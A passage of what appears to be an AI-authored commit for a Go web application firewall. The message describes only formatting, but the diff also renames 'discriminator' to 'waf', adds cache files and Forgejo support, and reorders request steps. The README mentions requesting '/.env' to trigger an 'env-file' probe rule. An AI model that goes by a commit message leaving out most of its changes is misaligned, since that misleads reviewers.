Format Go with gofmt, then golines -m 77 (closes #215)

script/fmt now runs golines -m 77 after gofmt, repeating golines until
it changes nothing, since one pass can leave a line the next splits.
script/fmt-check fails when either would change a file.
script/bootstrap installs golines v0.13.0 with go install, pinned to
its commit, and checks the installed version with go version -m.

The tree is reformatted. The longer lines this makes are fixed by
hand: nolint directives moved onto their own line above the statement,
one string split, and 20 functions over funlen's 80 lines shortened or
split, RunWAF and limitPercentages among them.

Model: opus-5-5

AGENTS.md

@@ -37,3 +37,6 @@ These are the rules for agents working on this repository.
         - `192.168.0.0/16`.
     - `SPEC.md` states that default.
     - Forwarded headers count only when the peer is a trusted proxy.
+- Every time is in UTC, whatever `TZ` or the host's time zone says.
+    - Every day is a date written `YYYY-MM-DD`, never a time.
+    - `SPEC.md` states this near its start.

Dockerfile

@@ -155,7 +155,7 @@ RUN git checkout --quiet --detach b4b2c785308b1ce785b6155c7fe5f16879080193 \
         -o /usr/local/bin/runsvinit .
 
 # The image, described under "Deployment" in SPEC.md. It runs rproxy unless
-# SWW_COMMAND says discriminator, and an app's Dockerfile can build FROM it.
+# SWW_COMMAND says waf, and an app's Dockerfile can build FROM it.
 # It is the last stage, so a plain `docker build .` builds it.
 #
 # ubuntu 26.04, 2026-09-27
@@ -222,8 +222,8 @@ RUN groupadd --system --gid 65532 sww \
         sww
 
 # The state files' directory, SWW_STATE_DIR by default, where a volume
-# is mounted to keep them across deploys. The run script gives it to the
-# sww user at each start of discriminator.
+# is mounted to keep them across deploys. At each start of waf, the run
+# script makes SWW_STATE_DIR if it is missing and gives it to the sww user.
 RUN mkdir /var/lib/sww
 
 # The default rule file, in SWW_RULES_DIR by default, where a Dockerfile

README.md

@@ -11,16 +11,15 @@ refuses the ones that look like abuse. `smallwebwaf` is one program, `sww`,
 shipped in one image, with two commands that do this together:
 
 - `sww rproxy` is a small reverse proxy in front of one app. traefik routes to
-  it. It asks `discriminator` about each request, passes the allowed ones to the
-  app, and passes the app's answers back. It keeps nothing and never touches
-  disk.
-- `sww discriminator` decides. It runs the checks and keeps the bans, the
-  counters and each client's history. One `discriminator` serves many sites: a
-  client banned through one site is refused on all of them, and its requests on
-  all of them count toward one set of limits.
+  it. It asks `waf` about each request, passes the allowed ones to the app, and
+  passes the app's answers back. It keeps nothing and never touches disk.
+- `sww waf` decides. It runs the checks and keeps the bans, the counters and
+  each client's history. One `waf` serves many sites: a client banned through
+  one site is refused on all of them, and its requests on all of them count
+  toward one set of limits.
 
-The site keeps answering while `discriminator` is down, slow or restarting:
-without an answer in time, `rproxy` passes the request to the app.
+The site keeps answering while `waf` is down, slow or restarting: without an
+answer in time, `rproxy` passes the request to the app.
 
 It protects against:
 
@@ -80,11 +79,11 @@ make docker
 
 Push the image to a registry your hosts pull from, and name it there by digest.
 
-The image runs `rproxy` by default. To run `discriminator` from the same image,
-set the container's `SWW_COMMAND` to `discriminator`. The image's health check
-follows the command: in `rproxy`'s container it passes once `rproxy` answers and
-the app accepts connections, whether or not `discriminator` answers; in
-`discriminator`'s container, once `discriminator` answers.
+The image runs `rproxy` by default. To run `waf` from the same image, set the
+container's `SWW_COMMAND` to `waf`. The image's health check follows the
+command: in `rproxy`'s container it passes once `rproxy` answers and the app
+accepts connections, whether or not `waf` answers; in `waf`'s container, once
+`waf` answers.
 
 ### The usual setup: three containers
 
@@ -92,24 +91,24 @@ The usual setup is three containers on one private network:
 
 - the app;
 - `rproxy`, in front of the app, which traefik routes to: `SWRP_WAF_BACKEND`
-  names `discriminator` and `SWRP_UPSTREAM_URL` names the app;
-- `discriminator`, with `SWW_COMMAND=discriminator` and a volume at
-  `/var/lib/sww` for its state files.
+  names `waf` and `SWRP_UPSTREAM_URL` names the app;
+- `waf`, with `SWW_COMMAND=waf` and a volume at `/var/lib/sww` for its state
+  files.
 
 Point traefik's labels at port 8080 of `rproxy`
 (`traefik.http.services.<name>.loadbalancer.server.port=8080`). Publish no port
-of the app or of `discriminator`. Anything on that network can reach the app
-around `rproxy`, and can ask `discriminator` questions, so the network holds
-only what you trust. Each further app adds its own container and its own
-`rproxy`, whose `SWRP_WAF_BACKEND` names the same `discriminator`. The "Smallest
-setup" example below shows this shape.
+of the app or of `waf`. Anything on that network can reach the app around
+`rproxy`, and can ask `waf` questions, so the network holds only what you trust.
+Each further app adds its own container and its own `rproxy`, whose
+`SWRP_WAF_BACKEND` names the same `waf`. The "Smallest setup" example below
+shows this shape.
 
 ### `rproxy` in the app's container
 
 An app's image can instead be built on the `smallwebwaf` image, so that `rproxy`
-runs beside the app in one container. `discriminator` still runs in a container
-of its own. The app's `Dockerfile` starts `FROM` the `smallwebwaf` image, named
-by digest, and adds:
+runs beside the app in one container. `waf` still runs in a container of its
+own. The app's `Dockerfile` starts `FROM` the `smallwebwaf` image, named by
+digest, and adds:
 
 - the app's binary;
 - the packages the app needs, from the nixpkgs in the image;
@@ -169,26 +168,25 @@ does.
 - A log line with `"msg":"starting"` gives the version, the address and every
   setting in effect, with secrets masked.
 - A request to the site through traefik gets the app's answer.
-  `https://<site>/_sww/healthz` answers `ok`. `discriminator`'s log lines about
-  the request have `"action":"forward"`.
-- To see a refusal without banning yourself, run `discriminator` with
-  `SWW_MODE=observe` and ask for `/.env`. The request reaches the app.
-  `discriminator`'s log lines have `"would_action":"temporarily_banned"` and
-  `"rule_ids":["env-file"]`. A ban you get in `enforce` mode is lifted as
-  "Clients and bans" below describes.
+  `https://<site>/_sww/healthz` answers `ok`. `waf`'s log lines about the
+  request have `"action":"forward"`.
+- To see a refusal without banning yourself, run `waf` with `SWW_MODE=observe`
+  and ask for `/.env`. The request reaches the app. `waf`'s log lines have
+  `"would_action":"temporarily_banned"` and `"rule_ids":["env-file"]`. A ban you
+  get in `enforce` mode is lifted as "Clients and bans" below describes.
 - With `SWW_METRICS_TOKEN` set, this answers with the metrics, from a host on
-  `discriminator`'s network:
-  `curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/metrics`.
+  `waf`'s network:
+  `curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/metrics`.
 - `make example-app` builds the image and an app on it, runs them, and checks
   the whole exchange (see "Entrypoints").
 
 ## Configuration
 
 Every setting is an environment variable, read once at start; changing one means
-restarting the container. `rproxy` reads only the `SWRP_` settings, and
-`discriminator` only the `SWW_` ones. Every setting but `SWRP_WAF_BACKEND` has a
-default, chosen for a service on the open internet. A setting that needs an
-account, a key, a token or an alert destination stays off until you give one.
+restarting the container. `rproxy` reads only the `SWRP_` settings, and `waf`
+only the `SWW_` ones. Every setting but `SWRP_WAF_BACKEND` has a default, chosen
+for a service on the open internet. A setting that needs an account, a key, a
+token or an alert destination stays off until you give one.
 
 - Any `SWW_` setting can be given as a file instead, for secrets and long lists:
   `SWW_ADMIN_TOKEN_FILE` names the file that holds `SWW_ADMIN_TOKEN`. The file's
@@ -222,23 +220,23 @@ Every setting the code reads, with its default:
 
 | Variable                                 | Default                                                                                  | What it does                                                                                                                                                                                                                                                    |
 | ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| `SWW_COMMAND`                            | `rproxy`                                                                                 | Which command the image runs, and its health check checks: `rproxy` or `discriminator`.                                                                                                                                                                         |
-| `SWRP_WAF_BACKEND`                       | required                                                                                 | `discriminator`'s URL, such as `http://discriminator:8080`.                                                                                                                                                                                                     |
+| `SWW_COMMAND`                            | `rproxy`                                                                                 | Which command the image runs, and its health check checks: `rproxy` or `waf`.                                                                                                                                                                                   |
+| `SWRP_WAF_BACKEND`                       | required                                                                                 | `waf`'s URL, such as `http://waf:8080`.                                                                                                                                                                                                                         |
 | `SWRP_UPSTREAM_URL`                      | `http://127.0.0.1:8081`                                                                  | The app's URL: a scheme, a host and an optional port, nothing more.                                                                                                                                                                                             |
 | `SWRP_LISTEN_ADDR`                       | `:8080`                                                                                  | Where `rproxy` listens; leave the host part empty.                                                                                                                                                                                                              |
 | `SWRP_TRUSTED_PROXIES`                   | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`                                                | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none.                                                                                                                                                                       |
-| `SWRP_TIMEOUT_MS`                        | `2000`                                                                                   | How long `rproxy` waits for `discriminator`'s answer to a question and to a report, in milliseconds.                                                                                                                                                            |
-| `SWRP_DEFAULT_DISPOSITION`               | `allow`                                                                                  | What `rproxy` does with a request when `discriminator` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`.                                                                                                        |
+| `SWRP_TIMEOUT_MS`                        | `2000`                                                                                   | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds.                                                                                                                                                                      |
+| `SWRP_DEFAULT_DISPOSITION`               | `allow`                                                                                  | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`.                                                                                                                  |
 | `SWRP_MAX_REQUEST_SIZE`                  | `100M`                                                                                   | The largest request body, a size or `off`; a larger one is answered `413`.                                                                                                                                                                                      |
 | `SWRP_MAX_RESPONSE_SIZE`                 | `1G`                                                                                     | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started.                                                                                                                        |
 | `SWRP_MAX_REQUEST_TIME_MS`               | `60000`                                                                                  | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app.                                                                                           |
 | `SWRP_MAX_RESPONSE_TIME_MS`              | `1800000`                                                                                | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`.                                                                                                                                      |
-| `SWW_LISTEN_ADDR`                        | `:8080`                                                                                  | Where `discriminator` listens; leave the host part empty.                                                                                                                                                                                                       |
-| `SWW_INSTANCE_NAME`                      | the container's host name                                                                | The name in every line `discriminator` logs, and in every alert and metric, such as `fsn1/discriminator`.                                                                                                                                                       |
+| `SWW_LISTEN_ADDR`                        | `:8080`                                                                                  | Where `waf` listens; leave the host part empty.                                                                                                                                                                                                                 |
+| `SWW_INSTANCE_NAME`                      | the container's host name                                                                | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`.                                                                                                                                                                           |
 | `SWW_MODE`                               | `enforce`                                                                                | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done.                                                                                                                                                                  |
 | `SWW_IPV6_GROUP_PREFIX`                  | `64`                                                                                     | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128.                                                                                                                                                                               |
 | `SWW_MAX_TRACKED_CLIENTS`                | `20000`                                                                                  | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first.                                                                                                                                                               |
-| `SWW_MAX_BANS`                           | `5000`                                                                                   | The most bans `discriminator` keeps of its own; bans an admin made do not count.                                                                                                                                                                                |
+| `SWW_MAX_BANS`                           | `5000`                                                                                   | The most bans `waf` keeps of its own; bans an admin made do not count.                                                                                                                                                                                          |
 | `SWW_ALLOW_NETS`                         | empty                                                                                    | Netblocks whose clients skip every check, such as your monitoring.                                                                                                                                                                                              |
 | `SWW_RATE_LIMIT_EXEMPT_NETS`             | empty                                                                                    | Netblocks whose clients are exempt from rate limiting and the byte limits.                                                                                                                                                                                      |
 | `SWW_DENY_NETS`                          | empty                                                                                    | Netblocks whose clients are refused.                                                                                                                                                                                                                            |
@@ -295,10 +293,11 @@ Every setting the code reads, with its default:
 | `SWW_REPUTATION_TIMEOUT`                 | `2s`                                                                                     | How long a DNS blocklist query or an AbuseIPDB check may take.                                                                                                                                                                                                  |
 | `SWW_STATE_DIR`                          | `/var/lib/sww`                                                                           | The directory of the state files, an absolute path.                                                                                                                                                                                                             |
 | `SWW_STATE_WRITE_DELAY`                  | `10s`                                                                                    | How long `bans.json` waits to be written after a ban is made, lifted or made permanent.                                                                                                                                                                         |
-| `SWW_STATE_COUNTER_INTERVAL`             | `15m`                                                                                    | How often every state file is written.                                                                                                                                                                                                                          |
-| `SWW_LOG_LEVEL`                          | `info`                                                                                   | The least severe of `discriminator`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written.                                                                                                                      |
+| `SWW_STATE_COUNTER_INTERVAL`             | `15m`                                                                                    | How often every state and cache file is written.                                                                                                                                                                                                                |
+| `SWW_CACHE_DIR`                          | `/var/cache/sww`                                                                         | The directory of the cache files, an absolute path.                                                                                                                                                                                                             |
+| `SWW_LOG_LEVEL`                          | `info`                                                                                   | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written.                                                                                                                                |
 | `SWW_LOG_REQUEST_HEADERS`                | `accept,accept-language,accept-encoding,content-type,origin,range`                       | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded.                                                                                                                                                      |
-| `SWW_LOG_REMOTE_URL`                     | unset                                                                                    | A syslog server that also gets every line `discriminator` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port.                                                                                                                   |
+| `SWW_LOG_REMOTE_URL`                     | unset                                                                                    | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port.                                                                                                                             |
 | `SWW_LOG_REMOTE_TLS_CA_FILE`             | unset                                                                                    | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own.                                                                                                                                                        |
 | `SWW_LOG_REMOTE_BUFFER`                  | `10000`                                                                                  | The most lines held while they wait to be sent; past it, the oldest is dropped.                                                                                                                                                                                 |
 | `SWW_LOG_REMOTE_FACILITY`                | `local0`                                                                                 | The syslog facility of each record sent.                                                                                                                                                                                                                        |
@@ -351,8 +350,8 @@ own, where each reaches the others by service name. Each example publishes
 
 ### Smallest setup
 
-One app, `rproxy` in front of it, and `discriminator` with a volume for its
-state files, every setting at its default.
+One app, `rproxy` in front of it, and `waf` with a volume for its state files,
+every setting at its default.
 
 ```yaml
 services:
@@ -363,20 +362,20 @@ services:
     rproxy:
         image: smallwebwaf
         environment:
-            SWRP_WAF_BACKEND: http://discriminator:8080
+            SWRP_WAF_BACKEND: http://waf:8080
             SWRP_UPSTREAM_URL: http://app:8081
         ports:
             - "8080:8080"
 
-    discriminator:
+    waf:
         image: smallwebwaf
         environment:
-            SWW_COMMAND: discriminator
+            SWW_COMMAND: waf
         volumes:
-            - discriminator-state:/var/lib/sww
+            - waf-state:/var/lib/sww
 
 volumes:
-    discriminator-state:
+    waf-state:
 ```
 
 ### Custom per-address limits
@@ -399,15 +398,15 @@ services:
     rproxy:
         image: smallwebwaf
         environment:
-            SWRP_WAF_BACKEND: http://discriminator:8080
+            SWRP_WAF_BACKEND: http://waf:8080
             SWRP_UPSTREAM_URL: http://app:8081
         ports:
             - "8080:8080"
 
-    discriminator:
+    waf:
         image: smallwebwaf
         environment:
-            SWW_COMMAND: discriminator
+            SWW_COMMAND: waf
             # Monitoring skips every check.
             SWW_ALLOW_NETS: 192.0.2.10
             # The office and the automation host are never rate limited.
@@ -426,18 +425,18 @@ services:
             SWW_BAN_RESPONSE: "429"
             SWW_LIMIT_BAN_DURATION: 30m
         volumes:
-            - discriminator-state:/var/lib/sww
+            - waf-state:/var/lib/sww
 
 volumes:
-    discriminator-state:
+    waf-state:
 ```
 
 ### `rproxy` beside the app
 
 The app is built on the `smallwebwaf` image, with `rproxy` inside its container.
 `app/` holds the `Dockerfile` and `app.run` from "`rproxy` in the app's
-container". `rproxy` answers `503` to every request while `discriminator` is
-down, and `discriminator`:
+container". `rproxy` answers `503` to every request while `waf` is down, and
+`waf`:
 
 - observes before it enforces;
 - looks addresses up in a local database rather than GeoJS;
@@ -450,17 +449,17 @@ services:
         # A Dockerfile built FROM the smallwebwaf image, with rproxy inside.
         build: ./app
         environment:
-            SWRP_WAF_BACKEND: http://discriminator:8080
-            # Answer 503 rather than pass a request on while discriminator is down.
+            SWRP_WAF_BACKEND: http://waf:8080
+            # Answer 503 rather than pass a request on while waf is down.
             SWRP_DEFAULT_DISPOSITION: deny
         ports:
             - "8080:8080"
 
-    discriminator:
+    waf:
         image: smallwebwaf
         environment:
-            SWW_COMMAND: discriminator
-            SWW_INSTANCE_NAME: fsn1/discriminator
+            SWW_COMMAND: waf
+            SWW_INSTANCE_NAME: fsn1/waf
             # Refuse nothing yet; log what enforce mode would have done.
             SWW_MODE: observe
             # Look addresses up in a local IPinfo Lite database, never GeoJS.
@@ -471,12 +470,12 @@ services:
             SWW_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
             SWW_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
         volumes:
-            - discriminator-state:/var/lib/sww
+            - waf-state:/var/lib/sww
             - /srv/ipinfo:/var/lib/ipinfo:ro
             - /srv/sww/tokens:/etc/sww/tokens:ro
 
 volumes:
-    discriminator-state:
+    waf-state:
 ```
 
 The database is mounted by its directory, not by file, so that a replaced
@@ -498,20 +497,21 @@ How it works inside. [`SPEC.md`](SPEC.md) gives every rule in full, and why.
 
 ### What happens to a request
 
-A request goes through these steps, in this order. Once `discriminator` refuses
-a request, the steps after that are skipped, apart from the report, and nothing
-of the request reaches the app.
+A request goes through these steps, in this order. Once `waf` refuses a request,
+the steps after that are skipped, apart from the report, and nothing of the
+request reaches the app.
 
 `rproxy` takes the first two:
 
 1. The health check, `GET /_sww/healthz`, is answered at once.
 2. The visitor's address is worked out from `X-Forwarded-For`, believed only
-   from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `discriminator` the request as
-   the visitor sent it, with the first 64 KiB of its body.
+   from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `waf` the request as the visitor
+   sent it, with the first 64 KiB of its body.
 
-`discriminator` takes the checks:
+`waf` takes the checks:
 
-3. The tag lists.
+3. The header limits, then the tag lists. A client in `SWW_ALLOW_NETS` skips the
+   header limits.
 4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`.
 5. The bans.
 6. The lookup of the client's AS number and country.
@@ -523,23 +523,23 @@ of the request reaches the app.
 11. The rate limits.
 12. The trap paths.
 13. The rule files.
-14. The header limits, and then the Core Rule Set.
+14. The Core Rule Set.
 15. The tag refusals again, so that `exploitsignature` can refuse too.
 16. A path under `/_sww/` is answered `404`, so that the app never sees that
     prefix.
 
-`rproxy` takes the rest, with `discriminator` counting at the end:
+`rproxy` takes the rest, with `waf` counting at the end:
 
 17. The request is passed to the app, streaming.
-18. After the answer, `rproxy` sends `discriminator` a report with the status
-    and the body bytes each way. For an allowed request, `discriminator` counts
-    the bytes `SWW_BYTES_COUNT` names toward the byte limits, bans the client if
-    they take it past one, and adds the request to the client's history.
+18. After the answer, `rproxy` sends `waf` a report with the status and the body
+    bytes each way. For an allowed request, `waf` counts the bytes
+    `SWW_BYTES_COUNT` names toward the byte limits, bans the client if they take
+    it past one, and adds the request to the client's history.
 
 A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core
 Rule Set match answers `403` and bans nobody, since the Core Rule Set has false
 positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A
-request over the header limits of step 14 is answered `431`, and bans nobody
+request over the header limits of step 3 is answered `431`, and bans nobody
 either. `rproxy` itself answers `405` to a method it does not pass on, and the
 status for a size or time limit, such as `413` for a body too large.
 
@@ -560,8 +560,8 @@ status for a size or time limit, such as `413` for a body too large.
 
 ### Request tags
 
-Each request gets tags from what `discriminator` knows of its client, written in
-the `tags` field of its log line:
+Each request gets tags from what `waf` knows of its client, written in the
+`tags` field of its log line:
 
 - `asn=<number>` and `country=<code>`, from the lookup;
 - one tag per list of `SWW_TAG_LISTS` that holds the client, such as `torexit`
@@ -581,7 +581,7 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
   headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
   front of a code forge, bodies carry what people write and publish, which the
   rules take for attacks.
-- `smallwebwaf` changes the Core Rule Set in fourteen ways so that ordinary
+- `smallwebwaf` changes the Core Rule Set in fifteen ways so that ordinary
   requests get through to the apps listed below. No setting undoes the changes;
   "Attack detection" in [`SPEC.md`](SPEC.md) lists them.
 - These apps work out of the box at the default settings, and their recorded
@@ -589,6 +589,9 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
     - gitea: git over HTTP and sign-in through Git Credential Manager get
       through. On gitea's own paths, its searches, file names and branch names
       do too.
+    - Forgejo: git over HTTP and its container and package registries get
+      through. On Forgejo's own paths, its searches, file names and branch names
+      do too.
     - WordPress: saving a post from the block editor gets through. On
       WordPress's own paths, its searches, names and file names do too.
     - Drupal: on Drupal's own paths, the page to return to, its searches and its
@@ -612,18 +615,32 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
 - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
   fields or paths.
 - Rule files are plain text, one rule to a line, edited by hand and read again
-  while `discriminator` runs. The image ships one file of probes no real visitor
-  sends (see [`docs/rules.md`](docs/rules.md)).
+  while `waf` runs. The image ships one file of probes no real visitor sends
+  (see [`docs/rules.md`](docs/rules.md)).
 
-### State files
+### State and cache files
 
-`discriminator` keeps everything in memory, and the five JSON files in
-`SWW_STATE_DIR` hold a copy: `bans.json`, `clients.json`, `lookups.json`,
-`reputation.json` and `alerts.json`. Each is written whole, to a temporary file
-renamed over the real one, so a crash leaves a complete file. `discriminator`
-notices a file edited on disk and takes the edit in; an edit that does not parse
-is set aside as `<name>.bad`, and never stops the running process (see
-[`docs/state-files.md`](docs/state-files.md)).
+`waf` keeps everything in memory, and JSON files hold a copy:
+
+- The state files, in `SWW_STATE_DIR`, hold what cannot be fetched again:
+    - `bans.json`;
+    - `clients.json`;
+    - `abuseipdb-checks-spent.json`;
+    - `alerts.json`.
+- The cache files, in `SWW_CACHE_DIR`, hold answers from outside services:
+    - `lookups.json`, from GeoJS;
+    - `lists.json`, the lists fetched by URL;
+    - `dnsbl.json`, from the DNS blocklists;
+    - `abuseipdb-scores.json`, from AbuseIPDB;
+    - `routewatch.json`, from routewatch.
+
+Back up the state directory. The cache directory can be left out of backups: a
+lost cache file starts empty and fills again.
+
+Each file is written whole, to a temporary file renamed over the real one, so a
+crash leaves a complete file. `waf` notices a file edited on disk and takes the
+edit in. An edit that does not parse is set aside as `<name>.bad`, and never
+stops the running process (see [`docs/state-files.md`](docs/state-files.md)).
 
 ### The image and its processes
 
@@ -632,20 +649,19 @@ is set aside as `<name>.bad`, and never stops the running process (see
   `Dockerfile` installs a package with `nix-env -iA nixpkgs.<name>` and gets the
   same package each time it is built (see [`docs/image.md`](docs/image.md)).
 - runit, a service supervisor, runs `sww` as the `sww` user (uid and gid 65532)
-  and starts it again when it exits. The `run` script of `discriminator` gives
-  the state directory to the `sww` user at each start, so a volume needs no
-  change of owner.
-- `rproxy` and `discriminator` use no token between them. `discriminator`'s own
-  endpoints, under `/_sww/`, are for your admin tools and your metrics
-  collector, at its own address on the private network; nothing routes the
-  internet there.
+  and starts it again when it exits. The `run` script of `waf` gives the state
+  directory to the `sww` user at each start, so a volume needs no change of
+  owner. It makes the cache directory for that user too.
+- `rproxy` and `waf` use no token between them. `waf`'s own endpoints, under
+  `/_sww/`, are for your admin tools and your metrics collector, at its own
+  address on the private network; nothing routes the internet there.
 - `docker stop` gives requests in progress five seconds to finish. With `rproxy`
   in the app's container, the app must keep answering for five seconds after
   `SIGTERM` for that to help them.
 - Only faults found at start stop a process: an invalid setting, a rule file or
   state file that does not parse, a lookup database that cannot be read, or an
   address it cannot listen on. Once running, a failing lookup service,
-  reputation source or alert destination never takes `discriminator` down.
+  reputation source or alert destination never takes `waf` down.
 
 ### Packages
 
@@ -653,15 +669,15 @@ is set aside as `<name>.bad`, and never stops the running process (see
 - `internal/sww`: the process, as the command it is given, and the health check.
 - `internal/config`: reads the settings, the one place they are read.
 - `internal/rproxy`: the reverse proxy in front of one app.
-- `internal/discriminator`: `discriminator`'s server, which runs the checks and
-  answers its own endpoints.
+- `internal/waf`: `waf`'s server, which runs the checks and answers its own
+  endpoints.
 - `internal/ratelimit`, `internal/bans`, `internal/rules`,
   `internal/coreruleset`, `internal/lookup`, `internal/reputation`,
   `internal/routewatch`, `internal/anomaly` and `internal/alerts`: one check or
   source each.
 - `internal/state`, `internal/requestlog`, `internal/remotelog` and
-  `internal/metrics`: the state files, the log lines, the syslog sender and the
-  metrics.
+  `internal/metrics`: the state and cache files, the log lines, the syslog
+  sender and the metrics.
 
 ## Rationale
 
@@ -695,7 +711,8 @@ on the host.
 - `script/bootstrap`: installs on the host what the other scripts need, with
   `make bootstrap`:
     - `make`, `git` and `curl`;
-    - Go, for `gofmt`;
+    - Go, for `gofmt` and to build `golines`;
+    - `golines`, at a pinned version, with `go install`;
     - node, yarn and prettier.
 - `script/setup`: readies a fresh clone: `script/bootstrap`, then
   `script/install-precommit`. `make setup`.
@@ -712,8 +729,11 @@ on the host.
   the `tidy` stage of the `Dockerfile`. `make tidy`.
 - `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`.
   `make lint`.
-- `script/fmt`: formats the Go code with `gofmt` and the Markdown with prettier.
-  `make fmt`.
+- `script/fmt`: formats the Go code with `gofmt` and then `golines -m 77`, and
+  the Markdown with prettier. `make fmt`.
+    - `golines` wraps code at 77 columns but leaves comments and strings alone.
+      Wrap those by hand.
+    - The linter fails only lines longer than 88 columns.
 - `script/fmt-check`: checks the formatting and changes nothing.
   `make fmt-check`.
 - `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`.
@@ -734,25 +754,26 @@ on the host.
 - `script/precommit`: run by the git pre-commit hook; runs `script/check`.
 - `script/install-precommit`: installs that hook. `make hooks`.
 - `script/build`: builds `bin/sww` with the Go on your host. `make build`.
-- `script/run`: builds `bin/sww` and runs `discriminator` and `rproxy` on the
-  host, with the settings in your environment. `make run`. Unless your settings
-  say otherwise:
+- `script/run`: builds `bin/sww` and runs `waf` and `rproxy` on the host, with
+  the settings in your environment. `make run`. Unless your settings say
+  otherwise:
     - `rproxy` listens on port 8080, in front of an app at
       `http://127.0.0.1:8081`;
-    - `discriminator` listens on port 8090;
+    - `waf` listens on port 8090;
     - its state files go in `bin/state`;
+    - its cache files go in `bin/cache`;
     - its rule files are those of `share/rules.d`.
 - `script/example-app`: builds the image and the example app
   (`deploy/example-app`) on it, runs the app with `rproxy` in its container and
-  `discriminator` in another, and checks them. Then it removes the containers,
-  the network, the volumes and the images. Needs network access.
-  `make example-app`. It checks:
+  `waf` in another, and checks them. Then it removes the containers, the
+  network, the volumes and the images. Needs network access. `make example-app`.
+  It checks:
     - the health checks;
     - a request passed to the app;
     - a ban for a broken limit, and a ban for a probe made permanent;
-    - that only `discriminator`'s container changes the state directory's owner;
-    - with `discriminator` stopped, the app still answering through `rproxy`;
-    - with `discriminator` started again, bans applying again;
+    - that only `waf`'s container changes the state directory's owner;
+    - with `waf` stopped, the app still answering through `rproxy`;
+    - with `waf` started again, bans applying again;
     - orderly stops with `sv stop` and `docker stop`;
     - bans surviving a new container on the same volume;
     - a setting given as a file.
@@ -777,8 +798,8 @@ on the host.
 - [`docs/alerts.md`](docs/alerts.md): the alert events and what each destination
   gets.
 - [`docs/metrics.md`](docs/metrics.md): the metrics.
-- [`docs/state-files.md`](docs/state-files.md): the state files and what each
-  holds.
+- [`docs/state-files.md`](docs/state-files.md): the state and cache files and
+  what each holds.
 - [`docs/image.md`](docs/image.md): what the image holds and how it is pinned.
 
 ## License

cmd/sww/main.go

@@ -1,6 +1,6 @@
 // Command sww is a web application firewall. `sww rproxy` is the reverse
-// proxy in front of one app, which asks discriminator about each request.
-// `sww discriminator` decides, for many sites, and keeps what lasts. `sww
+// proxy in front of one app, which asks waf about each request.
+// `sww waf` decides, for many sites, and keeps what lasts. `sww
 // healthcheck` is the container's health check. Everything it does is in
 // internal/sww.
 package main

docs/admin-endpoints.md

@@ -1,8 +1,8 @@
 # Admin endpoints
 
-The endpoints under `/_sww/`, what each takes and what each answers.
-`sww discriminator` answers them at its own address, on the private network.
-"Admin endpoints" in [`SPEC.md`](../SPEC.md) says how their tokens work.
+The endpoints under `/_sww/`, what each takes and what each answers. `sww waf`
+answers them at its own address, on the private network. "Admin endpoints" in
+[`SPEC.md`](../SPEC.md) says how their tokens work.
 
 - `GET /_sww/healthz`: `200` and `ok`, to anyone.
 - `GET /_sww/metrics`: the metrics, for `SWW_METRICS_TOKEN` (see
@@ -20,10 +20,10 @@ The endpoints under `/_sww/`, what each takes and what each answers.
     - one that names an IPv4-mapped netblock, or an address with a zone.
 - `DELETE /_sww/bans/<client>`: lifts every active ban covering the address
   `<client>`. It answers `404` when none is active.
-- `GET /_sww/clients/<ip>`: what `discriminator` knows of the client. Under
-  `client`, its counters and history as `clients.json` holds them, or `null`
-  when `clients.json` does not hold it. Under `bans`, every ban covering the
-  address, with its notes.
+- `GET /_sww/clients/<ip>`: what `waf` knows of the client. Under `client`, its
+  counters and history as `clients.json` holds them, or `null` when
+  `clients.json` does not hold it. Under `bans`, every ban covering the address,
+  with its notes.
 - `POST /_sww/report`: takes `rproxy`'s report, without a token. It answers
   `204`, or `400` to a body that is no report (see "The report" in
   [`SPEC.md`](../SPEC.md)).
@@ -32,29 +32,29 @@ No check runs on these requests. A missing or wrong token is answered `401`. An
 endpoint whose token is unset answers `404`, as does any other path.
 
 `sww rproxy` answers only the health check of these, at its own address. It asks
-`discriminator` about any other request under `/_sww/`. One that passes the
-checks is answered `404`, so that the app never sees that prefix (see "`rproxy`"
-in [`SPEC.md`](../SPEC.md)).
+`waf` about any other request under `/_sww/`. One that passes the checks is
+answered `404`, so that the app never sees that prefix (see "`rproxy`" in
+[`SPEC.md`](../SPEC.md)).
 
 ## Examples
 
-With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `discriminator` reached
-as `discriminator:8080` on its network:
